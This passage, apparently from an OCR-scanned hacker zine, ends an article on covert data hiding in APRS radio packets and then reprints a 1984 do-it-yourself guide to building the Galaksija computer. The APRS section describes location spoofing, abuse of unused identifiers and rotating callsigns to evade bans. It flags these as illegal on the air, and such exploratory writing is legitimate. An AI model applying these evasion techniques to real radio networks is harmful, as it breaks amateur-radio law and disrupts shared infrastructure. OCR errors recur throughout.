conceal your own data in different packet types. Of particu-
lar interest are the mechanisms for compressed coordinates and
telemetry, weather reports, and bulletin messages. While these
have size limitations, leveraging the unused DT1Is as described in
the next section allows for crafty ways to chain multiple packets
together.

Abusing Unused Data Type ldentifiers (DTI)

The APRS protocol defines multiple DTIs as unused or forbidden.
These are often ignored by software and TNCs in actual radios,
making them an ideal target for creative reuse. Because it would
be trivial to detect and actively monitor for intentional use of
the unused DTTIs, a better approach is to leverage them in a way
that provides somewhat plausible deniability.

1. Prepare APRS Data contents for a given DTI.

2. Find the nearest unused DTI, possibly identifying ones which
require the least amount of bits to corrupt so that the DTI
isn’t too far from the one corresponding to the data we have
prepared.

3. Proceed to send the packet contained an invalid DTI that

75



9 Elegies of the Second Crypto War

is unused yet contains seemingly valid data for an adjacent
DTI.

Unused DTTs that are one position away from another include
0x21 and 0x22. (Position without timestamp versus unused.)
Table 9.1 contains some of the interesting unused identifiers up
for grabs; please refer to the APRS Protocol Reference for the rest
of them.?° DTIs involved in TNC operation should be avoided,
unless the TNC behavior can be abused constructively.

The benefit of hiding data in an otherwise valid APRS Data
segment with an incorrect (unused) DTT is that clients—including
built-in TNCs—will ignore the packet and not attempt to decode
its contents.

291.1nzip pocorgtfo09.pdf aprsi01.pdf
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Figure 9.15: AX.25 Unnumbered Information (UI) frame
structure
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Third-party and User Defined Packets

Two special DTIs exist that allow for packet-in-packet proto-
col tricks: the third-party and user-defined packets. These have
special quirks associated with them, and the way TNCs handle
them is not standardized. This is both a good and a bad thing.
For instance, the Kenwood TM-D7xx’s built-in TNC will ignore
third-party packets entirely if it cannot parse them.

However, Internet Gateways will also ignore all user-defined
packets and impose additional restrictions the third-party DTI.
This is the biggest motivator for actually reading the source code
of APRS Internet gateway software. For example:

static int parse_aprs_body(struct pbuf_t *pb,
const char *info_start) {

case ’{’:
pb->packettype |= T_USERDEF;
return O;

case ’}’:
pb->packettype |= T_3RDPARTY;

return parse_aprs_Srdparty(pb, info_start);

NOCALL-9>N1CALL-9,WIDE1-1,WIDE2-2::N1CALL-9 :This is a test for APRS messages{1

Internet Gateways

Gateways between the Internet and APRS radios are known as
Internet Gateways or iGates. Typically iGates are used to for-
ward APRS beacons heard over radio to some website, but there
are a lot more interesting things we could do with them.

Tricks with iGates

Some iGates support transmitting data from the Internet out to
radio, effectively bridging the local RF spectrum to the APRS-IS
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network.

There is no official way to list iGates, so our best bet is con-
necting to the backbone servers they report to, passively listening
for frames and beacons that announce their presence. We would
also like to distinguish iGates that are capable of transmitting
from those that only receive. When we find some such iGates,
they allow us to perform some gnarly tricks!

We can send an APRS message from an Internet-only host
in Asia to an individual driving in Pittsburgh with only a radio
receiver and a TNC. Hide locations of control sites by first proxy-
ing your packets through the Internet iGates, only to target your
local RF nodes through a separate, sacrificial iGate bridge.

The system is only limited by APRS-IS rules in terms of traffic
congestion control. Because all RF nodes receive from and trans-
mit to the same frequency, overlapping transmissions can and will
reduce the ratio of successfully decoded packets for everyone else.
Therefore, be neighborly!

Traffic caps are enforced by the iGate operator’s configuration.
Commonly a given node, as identified by its callsign and SSID,
will only be able to use the Internet-RF bridge for transmitting
a fixed number of packets each minute. This is to prevent acci-
dental jamming of the RF channel.

Packet Validation and RF Digipeating

Some architectural limitations of APRS need to be considered
carefully. First, most iGates in the APRS-IS network will only
digipeat packets to the RF side if the station is located within
a fixed radius of so many kilometers. Second, we might not get
to know if a given area has an iGate capable of bridging RF, or
transmitting to RF. We can’t simple wait for a response, as APRS
is a response-less protocol. Third, packets marked RFONLY in their
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path won’t reach APRS-IS. Packets marked TCPIP won’t reach
RF nodes. iGates forcing or restricting either will be dead-ends
if we aim to bridge over APRS-IS. Finally, user-defined packets
are ignored by most of the APRS-IS infrastructure. For exam-
ple, aprsc ignores them. Third-party packets are allowed, with
caveats.

Bypassing Validation

There are a few ways to bypass the restrictions imposed on bridg-
ing RF in iGates that require geographical proximity.

You can try to spoof your location by sending a beacon po-
sitioned at fake coordinates near the iGate. You can then send
your actual data packets, remembering to regularly send a posi-
tion beacon to the iGate to remain in the last-heard list.

You could limit use of user-defined packets to RF side, oper-
ating a a rogue iGate that does not ignore them, instead trans-
forming them to third-party or steganographic standard packets,
delivered to APRS-IS. User-defined packets are not displayed by
most equipment. This also applies to unused or obscure DTIs.

To avoid potential roadblocks, the following considerations may
help. If trying to reach the RF side, do not use—and verify that
the iGate/APRS-IS nodes don not use-TCPIP in the path. If try-
ing to reach the Internet side, do not use RFONLY in the path.
To avoid packet drops from rate limiting, throttle your packets,
sending just one every few minutes.

Albeit completely illegal on the actual air, as an experiment in
a controlled environment, automatically generated callsigns can
be rotated to avoid being detected or banned from the system.3°

30Don’t do this. Acting like an asshole on the radio is the surest way to
convince a brilliant RF engineer to spend his retirement hunting you
down.
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Finally, client version strings, as used during registration with
APRS-IS nodes, could be rotated and mimic real clients.

Looking up standard TCP/IP pivoting techniques may help
for accessing the APRS-IS network, but first and foremost, re-
member to be neighborly.

International Space Station (ISS) and APRS

Space, the final frontier! It suffices to say that a digipeater in-
stalled onboard the ISS makes APRS into the tool of choice for
legal ruckus communications on a worldwide scale. So as long as
the TNC of the ISS’ radio validates your packets, you can deliver
your covert messages in a fully decentralized fashion!3!

Whether commercial TNCs out there relay packets with un-
used DTTIs is a question left to the reader as an exercise.

Parting words: legal status of subterfuge in radio
communications

Amateur radio laws generally prohibit steganography and also en-
cryption, with a few narrow exceptions.?? For example, the US
Electronic Code of Federal Regulations §97.309 states, “RTTY
and data emissions using unspecified digital codes must not be
transmitted for the purpose of obscuring the meaning of any com-

31In Heinlein’s “Between the planets,” 1951, the same celestial path of the
Circum-Terra station is used for a much less benign purpose: worldwide
delivery of nukes. That book also introduced the idea of stealth tech-
nology vehicle with a radar-reflecting surface, long before any scientific
publications on the subject. —PML

unzip pocorgtfo09.pdf encham.html #Encryption and Amateur Radio
by KDOLIX

32
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munication.”®® 3% Governments do monitor the airwaves where
they care about them the most, and having your antennas, ex-
pensive equipment, or house ransacked sucks. Also keep in mind
that amateur radio is self-policing; if you mess up and create a
nuisance that affects everyone else, your future experiences with
that small, tight-knit, but global community may be seriously
soured.
So be neighborly, have fun, and stay safe!

—Vogelfrei

33unzip pocorgtfo09.pdf part97.pdf

34 Also note §97.217: Telemetry transmitted by an amateur station on or
within 50 km of the Earth’s surface is mot considered to be codes or
ciphers intended to obscure the meaning of communications.
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9:10 The Galaksija Home Computer
by Voja Antonié

This article on the Galaksija computer first appeared in the
January 1984 special edition of Dejan Ristanovié’ Yugoslavian
science magazine, also called Galaksija. We reprint it in English
as a salute to fine neighbors such as Mr. Antonié, to all those
who build strange and lovely contraptions in their basement lab-
oratories and then share them with the world. —PML

Do It Yourself Guide for the Galaksija Computer

A serious but pleasant work awaits us, which will be rewarded
with the unusual satisfaction of having created an intelligent de-
vice. Do not feel discouraged if you don’t have a lot of experience.
That is a sign that you have a self-critical spirit which is, in this
business, much more important than experience. Take a mo-
ment’s pause to examine every minute detail; if it’s well done,
the Galaksija will surely work on the first try!

Important Decisions

Before we start working, we need to make a few important deci-
sions. First, do we want this system to be final or will we leave
space for potential future expansions such as a printer, more
memory or a music box? If we don’t want these expansions,
we save one additional multi-pin connector and one integrated
circuit. (74LS32, for which we instead use just a short circuit
marked with dashes on the mounting diagram.) If you are un-
sure, we advise that you do mount these two parts, although it’s
never too late for that afterwards, either.
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The second decision is whether to use a raw or RF modulated
video signal. Raw video signals don’t require an additional RF
modulator and give a stable, higher quality image, but they can’t
be used with just any TV, requiring either a special display or
a black and white TV modified with a raw display input. This
modification does not require any additional investment, but it
does require certain prior knowledge and experience in working
with TV receivers. Next, a TV like that must be transistor based
(vacuum tube ones are not suitable), and it has to have a mains
transformer (and not a so called “hot chassis”). Usually, both of
these requirements are satisfied on smaller, portable, black-and-
white TVs that have a 12V battery connection. We’ll go through
some of the details for adding a proper display port to such a TV
further in the text. But, if we do install an RF modulator, we are
freed from all these complications and we’ll be able to connect
the computer to the antenna port of any TV.

We will also have to decide which ICs to socket and which
will be soldered directly to the board. You should definitely use
sockets for the EEPROMs (2716 and 2732), but for the rest, the
choice is yours. The advantage of using sockets is that there’s less
risk of damaging an IC and it’s a lot easier to diagnose a problem
by swapping ICs because desoldering ICs is a very delicate job.
Unfortunately, if the sockets aren’t of the best quality, they can
cause problems with bad contacts. To be very reliable, a socket
must be of high quality, and that can sometimes make it more
expensive than the IC it holds!
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Connections to the outside world:

Inputs and outputs on the back of the Galaksija
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Connector pin numbers and descriptions.
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Double sided PCB layout: Expansion connector in a form of a printed circuit

board.
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Keyboard mask: The final layout depends on the space bar type, so you
should wait for keyboard parts to arrive before making this part. Those who
ordered the keyboard in the first round don’t have to worry, the parts will
fit perfectly.

PP BBPIIIIEID

The heart of Galaksija computer: Z80A microprocessor and 2732 EEPROM
with BASIC interpreter.
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1. In front of us we have laboriously gathered all the parts which will,
in a few hours, grow into a Galaksija computer. At the bottom we easily
recognize buttons and caps of keys with printed labels, to the right we see
1/8W resistors, with capacitors to their left and integrated circuits in the

middle. Make note of the MOS and CMOS ICs.

2. Because the PCB is single layer, we will need a lot of jumpers. They are
easy to make from a single core copper wire that you can easily source from
popular blue-white telephone twisted wire pair. The fact that they are of
standard length (5, 10, 20, 30 and 40mm) makes things easier, so you can
easily make a tool for their precise bending. (Take note of wire gauge when

making the tool.)
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3. We start building the computer by placing the first jumper. Some jumpers
pass beneath the ICs; this won’t create problems if the jumpers are neatly
bent and rest flat on the PCB. (This view is from the component side and

not, as it may first seem, from the trace side.)

4. When we turn the board over to solder the first jumper, it’s obvious
why we start soldering the lowest components first. If we had, for example,
started with keys, other components would fall out when turning the board.
If you haven’t soldered before, it’s good to first experiment a bit on another
board. The tip of the soldering iron should be prepped with a file, cleaned
and tinned. Put solder on one side and hot soldering iron tip on another
side of the pin. Be careful not to leave too much solder on the pad, because

however odd it might sound, this would make a bad soldering joint.
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5. All jumpers are in place and soldered. Count them carefully: there should
be exactly 119. If you are missing some, consult the mounting diagram. Pay
close attention to the 74LS32 IC; as we said at the beginning, we can substi-
tute it with a jumper (dashed line on mounting diagram) if we don’t want

future system expansion connectors. That would then make 120 jumpers.

6. The next phase is soldering the resistors, which are very similar to 10 mm

jumpers.
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7. When mounting ICs, take care to use the correct orientation, because
even hardened professionals sometimes mount the ICs backward. Some are
marked with a semicircle as on the mounting diagram, while others have a
dot over pin number 1. It should be pointed out that the inscription on the
IC isn’t always printed so it starts from first pin. Since the PCB has a silk

screen marking component orientation, there should be no problems.

8. The ICs are mounted, but not all of them. We leave out MOS and
CMOS ICs CD 4017, CD 4040, 6116, 2716, 2732 and Z80A. It’s best to leave
them for the end, but there is no reason not to solder their sockets. Now
is the time, before soldering, to check once again that the ICs are all in the
right places and correctly oriented. We aren’t repeating this to be pedantic:
every bit of impatience and negligence when soldering can cost a lot when

first turning on the unit.
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9. Soldering the ICs requires some precision, as distances between pins are
only 2.54mm, and they sometimes have a trace going between them. If,
a solder bridge is accidentally created between two pins, the simplest way
to remove it is by applying more fresh solder on the same place and them

removing it all with the tip of the soldering iron.

10. Next by height are capacitors. Let’s then solder them, too. It is advisable
to use disc capacitors as they are smaller and cheaper, but if they are hard
to procure, use whichever you have. Capacitance values and voltages aren’t
critical. We will skip soldering C5 as, with a suitable quartz crystal, it
probably won’t be needed. We’ll say more about that when we come to

powering on the unit.
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11. We also have two NPN low power transistors on the left and right sides of
the PCB. A little bit of caution and we won’t make a mistake when soldering
these; looking at the transistor from below , we can see that its pins form
an isosceles right triangle. The holes for transistor pins on the PCB have
the same layout. There’s a place for a small diode at the upper left corner
of the PCB. Usually, a diode will have a ring marking a cathode side of its

cylindrical housing.

12. We have reached the keyboard mask! Whether you have cut your own
out of FR4 or aluminum, which we wouldn’t wish upon our worst enemy, or
you ordered it directly with keys, it is essential: without it every key would
move around and caps will scrape over each other. The mask is self standing,

so it doesn’t get connected to the PCB in any way.

96



9:10 Galaksija by Voja Antonié¢

13. First, place a couple of keys at the corners of the keyboard mask without
their caps, then solder them in so the mask is stable. Take care that the keys
aren’t backward: you can see that on the mounting diagram, the pins are
toward us. Jumpers won’t pose any problems because they are placed right

between the keys. After that, it’s easy, as all fifty-five keys are the same.

14. Since we are nearing the end, we’ll solder or socket the remaining MOS
and CMOS ICs. Be careful, as these ICs are very sensitive to static electricity.

You should study the “Dangerous Paths” section of this article first.
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15. Click — click — click! Put the caps on all the keys and the whole thing is
starting to look serious. It’s almost taunting us to start programming, but

we’ll need to have a little patience.

16. Notice that the ENTER keycap is twice as wide as the rest. That one is
mounted on two keys. Taking a closer look at the traces on the PCB, you’ll
see that the contacts of those two keys are connected in parallel. There-
fore, only one of the keys has an actual function, the other is just there for

mechanical reasons.
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17. The choice of jacks we’ll leave up to you. You can use whichever you
have, as long as they have at least three pins. As far as we can tell, the
standard 5-pin DIN plugs are perfectly usable and easy to get, as they are
made by Ei. They are cheap and, who would have guessed — very reliable.
Since they all have five pins we suggest the same layout as on the mounting
diagram. A good feature of this layout is that we won’t cause any short

circuits by swapping the jacks by accident.

18. Since it’s not very easy to find a multi-pin connector in our country, we
have designed the PCB so it’s possible to mount several different types of
connectors, if they have the standard 2.54mm spacing. As optimal solution,
we have decided to add one more, small, double-sided PCB that is designed
in such a way so that a 44-pin edge connector can be used with it, because

this connector type is the easiest to find at an affordable price.
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19. Of course, now we will make a final check of the whole PCB by shining a
strong light through it and carefully examining every trace. Minuscule solder
bridges are very common. Take a look at the circled part of the image; we’ve

found a bridge which shorts together two traces!

20. Our labor has been rewarded by the beautiful sight of nice and tidy
PCB, a device which will repay all the labor and patience in multitude.
Galaksija will work for you much better than many electronic devices in this
era of electronics, exhibiting one characteristic we haven’t seen before. It
will communicate with us in such a way that we’ll start to think of it as
part of a family. And really, it’s no wonder that many people consider their

computers their friends, too!

100



9:10 Galaksija by Voja Antonié¢

Dangerous Paths

If you already have a few working projects behind you, you prob-
ably won’t follow every piece of our advice. But there are some
rules you should never break because those certainly can lead to
permanent damage to components.

Short circuit between positive and negative power supply
traces of the computer will damage the 7805 voltage regu-
lator. Some manufacturers build this IC with over-current
protection built-in, but it’s better not to even test it. Simi-
larly, accidentally swapping the polarity anywhere between
power supply and the computer would probably prove fatal
to all ICs.

Almost all ICs in the Galaksija computer have a working
voltage of 4+ 5V, with tolerances of £ 0.25V. ICs will survive
over-voltage of up to 7V, but anything higher is dangerous.

Short circuiting any pin of a 74LS-series TTL IC to a pos-
itive rail will lead to permanent IC damage. Short circuits
to ground are harmless and we can use this to experiment.
You should still take care that not too many pins of any
one IC are grounded at the same time.

In case of bad image synchronization on the screen, we’ll
have to experiment with different values for resistors R12,
R13, R9 and R10. Having R12 or R13 less than 330 Ohm
poses no problem, as well as having R10 less than 40 Ohm.

Connecting the raw, unmodulated display output to a TV
receiver with a hot chassis poses danger not only to ICs but
to your own life. A later section describes these modifica-
tions.
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Since MOS and CMOS ICs are very susceptible to damage via
static electricity, you need to take special care with them. As we
believe that most makers are already familiar with techniques of
working with these ICs (CD4017, CD4040, 2716, 2732, 6116 and
Z80A), we’ll mention just a couple of basic pieces of advice:

e Use a grounded soldering iron. If you don’t have one, con-
vert an ungrounded soldering iron by wrapping a grounded
copper wire around the cold end of the metal, that which
is nearest the handle.

e If the room in which you are working has a synthetic car-
pet, the static potential of your body can reach up to 300
volts! That doesn’t pose a threat to us, since that electric
charge dissipates very quickly when we touch a grounded
object, but if that discharge goes through a pin of a MOS or
CMOS IC, it will be rendered useless. This why such ICs
are kept in anti-static tubes, have their pins tucked into
special conductive sponge or simply wrapped in conductive
tape.

e Once soldered in, the IC isn’t in much danger, so after we
are done we can do away with all these protective measures.

The computer housing — a thread makes a suit.

The mechanical design of the housing we leave up to you, but we
will make one suggestion: There’s plenty of copper left on the
sides of the PCB, so you can use the same material for the box
and simply solder the sides to the PCB. This way, the PCB with
components becomes a mechanical base for the whole box, for
which purpose FR4 satisfies all mechanical needs.

102



9:10 Galaksija by Voja Antonié¢

PLOCA SA KOMPORENTAMA

ONO KUTUE

SVETLECA DIBDA

STRANICA
POKLOPCA

103



9 Elegies of the Second Crypto War

1. We need to carefully plan the dimensions of each part of the box on paper,
knowing which side goes over which joints. You can use the popular OLFA
scalpel to cut out the material by scoring the surface on both sides of the
panel. It’s then easy to just break the panel if the marks are deep enough.
After cutting, use a fine file to smooth the edges. Edges that will be soldered
should be filed straight, and exposed ones should be soft.

2. First we clean the soldering surfaces with an eraser gum or fine sand
paper. Then we let the 24 or 30 W soldering iron get really hot and put

solder on all cleaned surfaces. This is much easier with flux.
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3. Before soldering the whole side, we solder just a few points. That way we
can make an inspection and perhaps a correction. Once fully soldered, the

side of the box is practically impossible to desolder without damage.

4. When soldering the sides, one should remember that solder shrinks while
cooling: if we want right angles, we orient to sides with a slight outward
angle, as seen from soldering side, lower side on the picture. After soldering,

the solder will pull the sides towards one another.
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5. After thorough inspection of position and angle of the surfaces, we solder
the complete joint. It might be necessary to wait for the tip of the soldering
iron to get hot again after every few centimeters. You might be able to solve
this problem by using a stronger soldering iron, but that can be dangerous:

overheated copper can separate from FR4.

A LR

6. We can solder a couple of 10mm high sides to the top cover, which will
be adjusted to make a tight fit with the sides of the housing. That will hold
the top in place.
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7. To make the top sturdy, we solder one narrow strip of FR4 along the
middle. The only thing that’s left is the bottom, which we can make from
any non-conductive material. We find that 4mm thick Plexiglas is the most
suitable, attached to the main board with four M3 screws and spacers for

separation.

8. There’s a well known procedure to paint the housing and markings which
has all the qualities of screen printing process, looks good, is mechanically
resistant, and can be easily done by an amateur. We will need two spray
paints (one white and one blue, number 469), a bottle of gasoline for cleaning,

letraset-letters and, optionally, lines.
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9. With very fine-grit sandpaper, sand the whole surface to be painted. It
must not be glossy in any place, or paint will fall off rather quickly. Clean

it thoroughly and then degrease with gasoline.

10. Make an even coating with the white spray paint. This layer should be

left to dry for at least 3 hours, but not in a cold or humid environment.
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11. Use the letraset letters to print text on the now dry surface. If we pull
lines by the edges of the box and keyboard opening, we’ll get much prettier
design. Using a clean and dry finger, press each letter to make sure that it’s

properly glued.

12. Carefully spray paint another layer, now with the darker color. This
layer should be as even and as thin as possible, just thick enough not to see

the color underneath.
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13. After about an hour of drying, but not much longer, use your finger nail
to remove all the lettering and lines. The cover might look a bit imprecise

after this phase. Don’t worry about that for now.

14. Use a clean cloth or paper tissue dabbed in gasoline to rub the surface,

and you’ll be surprised by nice looking lines and letters.
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Power Supply Transformer and Regulator
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Za_ISPRAVLJIAL

OTPORNIK

R 1K

KONDENZATORE

c1 33@0-680@ pF min.16 V
€2 2.2 do 1 uF

C3 9.2 do 1 ufF

C4 50@ uF min. 30V

c5 108 uF min. 16 V

Cé 108-200 nF min. 402 V
DIODE

D1 INS400

D2 IN5400

D3 1N40D1

D4 1N4@D1

D5 cener dioda BZ 12

INTEGRISANO KOLOD

stabi

lizator 7885

TRANSFORMATOR

2X9

V min & W

N

_+_

| Y

Transformer PCB

112




9:10 Galaksija by Voja Antonié¢

We need to say up front that the stabilized 12V supply is only
used for RF modulator; you can leave it out if you are not using
one, or if yours requires 5V. You save on components D3, D4, D5,
C4, C5 and R1 this way. Capacitor C6 on the primary side of
transformer is used to eliminated unwanted interference coming
from the mains. The transformer is full-wave and you get 11V
of direct current and filtered voltage on capacitor C1. The 7805
voltage regulator can supply about one amp at 5V. It’s a good
idea to use a transformer with that much current, no matter
that the computer will only use about 400 mA. The rest of the
available current can later be used to power future expansions.

Capacitors C2 and C3 protect the 7805 from oscillating.

Because 7805 dissipates a lot of heat during operation, we need
to mount it on a heat sink. If we don’t have a ready-made one, we
can improvise it from three chunks of aluminum with dimensions
of 35x80, 35x110 and 35x 140, of which each is bent in two places
to form a letter U. The opening on the metal tab of the voltage
regulator is for an M3 screw to tighten it to the heat sink. It is
advisable to put some silicon paste to the contact surface of heat
sink and regulator, to ensure good thermal conductivity. You
can choose your own box in which to mount this transformer. It
should have cooling vents and if the case is conductive, you will
need a three-prong cable to the socket. Use green-yellow cable
wire to connect ground on the socket plug to the ground of the
box and transformer.

Simple Procedure, Fantastic Effects

To be able to turn a regular black-and-white TV into a computer
screen, we must respect one crucial requirement: video input can
be added only to TVs that have an AC/DC transformer. TVs
with a hot chassis are very dangerous for modifications because
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they are not galvanically isolated from the computer and there-
fore can endanger the life of the one using it.

How do we test if our TV has a hot chassis? If you don’t
have enough experience and knowledge, skip this and let a pro-
fessional deal with it. If you are sure about your knowledge,
open up the TV and plug it in® without ever touching its metal
parts. Measure the potential between TV ground and socket
ground. Unplug the TV, turn the plug 180 degrees, plug it back
in and repeat the measurement. If at any point you read any
voltage during measurement, unplug the TV, close it and give
up on further modifications. The solution to your problem is RF
modulator.

If in both cases there was no voltage, you can continue check-
ing. Resistance between either poles of the TV plug and TVs
ground must be infinite. (Measure this, of course, while the TV
is unplugged.) If this checks out too, you have green light to
continue with modifications.

First, get the schematic diagram of your TV — without it every
effort is pointless. Find the entry point into the first stage of
video amplifier. There you will find a marking for “white level”
voltage and sync is two volts below it. Transistor TVs usually
have white level at + 3V, and sync at + 1V. Leave the voltage
from the splitter connected to the transistor base, cut the trace
that leads the signal from video-detector and connect it as shown
on the picture. You need to add one bipolar electrolytic capacitor
of about 50 uF or, because bipolar electrolytic capacitors are hard
to get, you can use two regular electrolytic of about 100 uF tied
in parallel. (Pluses towards each other, minus to the video signal
socket and a switch that chooses the TV function.)

On the back-pane of the TV, drill a hole for a switch and
video signal socket. Use cables as short as possible, shielded

35Yes, this is the one thing all instruction manuals tell you never to do.

114



9:10 Galaksija by Voja Antonié¢

or at least twisted around each other. Same goes for the cable
that connects the computer to the screen. With that, we are
done with modifications. Close the TV and connect it to the
computer. When you turn them on, you’ll probably need to
adjust horizontal and vertical synchronization, as well as image
contrast until you no longer see letter ghosting.
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Don’t panic, everything is going to be fine.

First, plug in only the transformer. Measure the voltages: stabi-
lized 5V voltage must vary no more than +0,25V. For the 12V
supply required by some RF modulators, variations can be up to
+1V. After you've made sure that voltages are within safe mar-
gins, connect the transformer and computer grounds by a wire,
set the amp meter to highest setting and touch the +5V trans-
former output with a plus side, and minus side to +5V of the
computer. The meter should show a current between 300 and 500
mA. If the reading is within the margins, remove the meter from
45V and do the same measurement with + 12V. Depending on
the model RF modulator, as it’s the only component run by this
current, the reading should be a couple milliamps. To be able to
register it, we must lower the range on the meter.

If everything is all right, we can remove the amp meter and
connect the display, then connect the transformer to the com-
puter and turn it on. If we are using RF signal and TV receiver,
we need to go through all three bands to find the best reception.
The computer will display it’s first word ever: “READY.”

It’s important that it starts working, eventually.

If the computer doesn’t start up at first, do not panic: some
difficulties are inherent in amateur work. If the picture is there,
but is unstable, try to adjust vertical and horizontal sync on the
TV or display. (These knobs are usually on the back side of the
TV, but you might need a screwdriver.) If you can’t see anything
on the screen, increase the brightness.

Perhaps instead of one, you see nine smaller images (three by
three) with black edges without text. This is simple to fix: the
crystal, instead of 6.144MHz, is oscillating at three times that
frequency! To fix this, solder a C5 capacitor with a value between
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10 and 30 pF. As with any other modifications, first unplug the
computer.

If the computer is completely silent, carefully touch each com-
ponent, especially the ICs. The voltage regulator’s heat sink
should be warm just after a few minutes, same goes for trans-
former diodes and transformer. Only the CPU and EEPROMs
out of all ICs can be hot, and even those not so much that we
can’t hold a finger to them. If something is overheated, at least
we know where to start looking for a short circuit.

Hidden and Intermittent Faults

It’s entirely possible that the fault is so well hidden that it hasn’t
manifested yet. In that case, there might be a short circuit on
the PCB printing. Turn off the transformer, take the multi-meter
and test all adjacent traces on 1 Ohm range. While doing that,
check again if all IC pins are soldered correctly, and then turn
over the board and check the layout of the components.

Another possibility is that the computer is working, but with
minor deficiencies: for example, when you press one key, two
characters show up instead of one. In that case there’s most
certainly a short circuit between traces from ICs 741LS251 and
741.S156 to the keyboard. If you examine the situation and con-
clude which keys show up in pairs, you can deduce which traces
are short circuited by looking at the keyboard matrix scheme.

It is also possible that the lines of text on the screen bend
horizontally, especially in last rows. This is due to a poor image
sync signal, and some experimenting with resistors R9 an R10 is
required. (R9 must not be lower than 40 Ohm, otherwise the IC
741538 is in danger.)
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Advanced Fault Debugging Tool

For especially hard core faults we need to make a helper tool. It’s
called a logic probe, and it can be useful in many other situations.
We need 74LS04 and 74US90 ICs, six LEDs, one capacitor and
a few resistors. Using this probe we can determine if the logic
level on a trace is high (first LED is on), low (second LED) or
there’s a sequence of impulses. For pulses, the remaining four
LEDs will blink, usually so fast that it appears as though they
are constantly on. Constant input without pulses can never turn
on all four LEDs.

It’s best if the ground and plus of the probe are two differently
colored wires about 50cm in length that end in alligator clips.
Connect those to the device that we are examining to get 5V,
minding the polarity, as an error can damage the probe. Then
we can read the logic states on crucial circuit points by touching
them with pointed spike of the probe.

First we’ll make sure that the oscillator is working. Pin 10 of
741.S32 IC has to show the changing signal, which means that
all LEDs should be on. Next we follow the divider chain: pin 2
of 74LLS93, pin 14 of CD4040, pin 2 of CD4017. Each of these
should show the same state on the probe, except the last one,
where the frequency is low enough that we can see some LEDs
flicker. If we find a static state at any of these, we’ve found the
fault.

Carefully examine the surrounding printed traces: if there are
no errors, we have to substitute the IC. Pin 26 of the Z80 mi-
croprocessor must test low for about half a second after turning
the unit on, and after that has to be constantly high. If this is
not the case, check the transistor that is connected to this pin as
well as the electrolytic capacitor that is connecting R5 to +5V.
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SPECIFIKA a
A _LOGICK
OTPORNICI
R1 398 OMA

R2 398 OMA
R3 390 OMA

R7 100 OMA

KONDENZATOR
c1 108 nF

DIODE.
L1-L6 - LED svetlete diode (46 KOM)
INTEGRISANA KDLA

74 L5 04
74 LS 93

Others may know more.

If after all this trouble you haven’t found a fault, you’ll have to
seek help from somebody more experienced. We think that path
is easier that for you to become an expert in electronics yourself.

There is one problem which can be fixed in software. If the
image on your screen is shifted too much to the left, each time
you turn on the computer you can type BYTE 11176, 12 and
press RET, or in more extreme cases, BYTE 11176,13. Similarly,
if the image is too far to the right, you can type BYTE 11176,10
(or BYTE 11176,9) and press RET each time you turn on the
computer.

Acquiring parts for the Galaksija computer.

Building a computer yourself, even in places where you can buy
microprocessors in bulk, is not an easy matter. Some key parts
of the computer, such as ROM, cannot be freely bought in any
parts of the world, and others, such as the keyboard, can be found
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neither easily nor cheaply. In our country, where it’s hard to find
even the most common resistor, getting into this adventure might
seem insane. But, it’s possible to overcome these obstacles. How?

Thanks to the understanding and love for computers by a hand-
ful of local manufacturers, Galaksija has managed to source for
its readers all the core components without which building this
computer yourself would have been suicidal -ROM, keyboard and
printed circuit board—and at affordable prices! (The PCB will
cost 40 percent less than “Elektronika InZenjering,” even though
they are paying taxes for them!)

Besides that, we’ve managed to make a deal for procuring the
semiconductor components from abroad. Only the housing and
cassette we are unsure about at this time.

The ever-shifting dinar exchange rate increased the prices on
everything, which affects the Galaksija computer too. Final prices
will depend on the way ICs are sourced from abroad. In the
worst case, if customs decide you have to pay import fees, those
shouldn’t be bigger than 15.500 dinars,® but it can’t be less than
11,000 dinars.

Mechanical Components

Mechanical components of the Galaksija computer—PCB, con-
nector board, keyboard mask, keys with caps—are being made
available by Institut za Vakuumsku Tehniku from Ljubljana (keys)
and MIPRO, Elektronika from Buj. Keys which will be built into
Galaksija really satisfy all professional standards; the same ones
are built into terminals of several domestic computer systems.
The FR4 printed circuit boards also have a professional look
and quality. Traces are first protected galvanically, and then

36 Mechanical parts = 4600, set of ICs = 6500, 3250 import fees, housing
and passive components = 1200 dinars.
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covered with a green solder mask to which all professional boards
owe their charm. The upper side of the board has a component
silk screen, which simplifies assembly a lot. The possibility for
an error when placing the components or making a solder bridge
is minimized.

The price of the full set is 4300 dinars which covers just the
manufacturing and mailing expenses, as well as taxes which are
responsible for almost a third of the price! (The price doesn’t
include the connector board, which oughtn’t be more than 300
dinars.)

This kind of accessible pricing represents the support of the
MIPRO and Elektronika companies from Buj and their owners
Zvonko Juras and Blazo Kraki¢ to the whole Galaksija project
in spreading the ideas about home computers. These low prices
come with a few limitations, unfortunately, but those shouldn’t
worry those who make the decision to build the Galaksija com-
puter early enough.

The prices are valid only till January 31st for orders received
through Galaksija’s office. MIPRO and Elektronika will still ac-
cept orders after that, but at economically viable, and therefore
higher, prices. This also means that parts can only be ordered
in package.?” The first hundred orders get a special discounted
price of 3660! Which first hundred? Well, the ones that first send
in the orders, on or after the fifth of January! 3® Delivers be-
gin on 15 January, and orders should be sent to Galaksija, 11000
Beograd, Bulevar vojvode Misica 17.

37Sorry Spectrum and ZX 81 owners!

38Why the fifth? Well, because this special edition doesn’t reach all the
kiosks at the same time. We wish, therefore, all the readers to have the
same chances.
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Integrated Circuits

Potential builders of the Galaksija computer are mostly worried
about acquiring the integrated circuits. Unfortunately, those can
only be bought abroad. There are actual reasons to worry about:
how to align the order with customs regulations, how to explain
in a foreign language what is it that you actually need, how to
make the payment?

The procedure is, in essence, simple: you need to write to
the foreign company and ask for an invoice. When you get the
invoice, you go to the bank to make the payment — a foreign
currency payment. In reality, everybody who has ever tried this
knows how hard it actually is. Unfortunately, there’s no other
way. Keep one thing in mind at all times: the maximum value
of a single shipment cannot exceed 1500 dinars, otherwise it will
be returned and will never reach you.

To try and simplify things at least a bit, Galaksija has made a
deal with Microtechnica in Gratz. Full price for the complete set
of ICs, an RF modulator, the quartz crystal and three sockets
is 1000 shillings (about 6500 dinars) for a 4K RAM version with
two 6116 ICs, or 1116 shillings for a 6K RAM version with three
6116 ICs.

This price includes shipping, completely in agreement with do-
mestic customs regulations. To make the order, simply make a
request for an invoice for Galaksija parts. You can make the
payment by one of the following card: American Express, Din-
ers, FEurocard and Visa. All buyers of complete sets of ICs for
Galaksija, Microtechnica will receive a pre-programmed EEP-
ROM for free. This significantly simplifies the path to Galaksija
computer. You need to make an order to the following address:
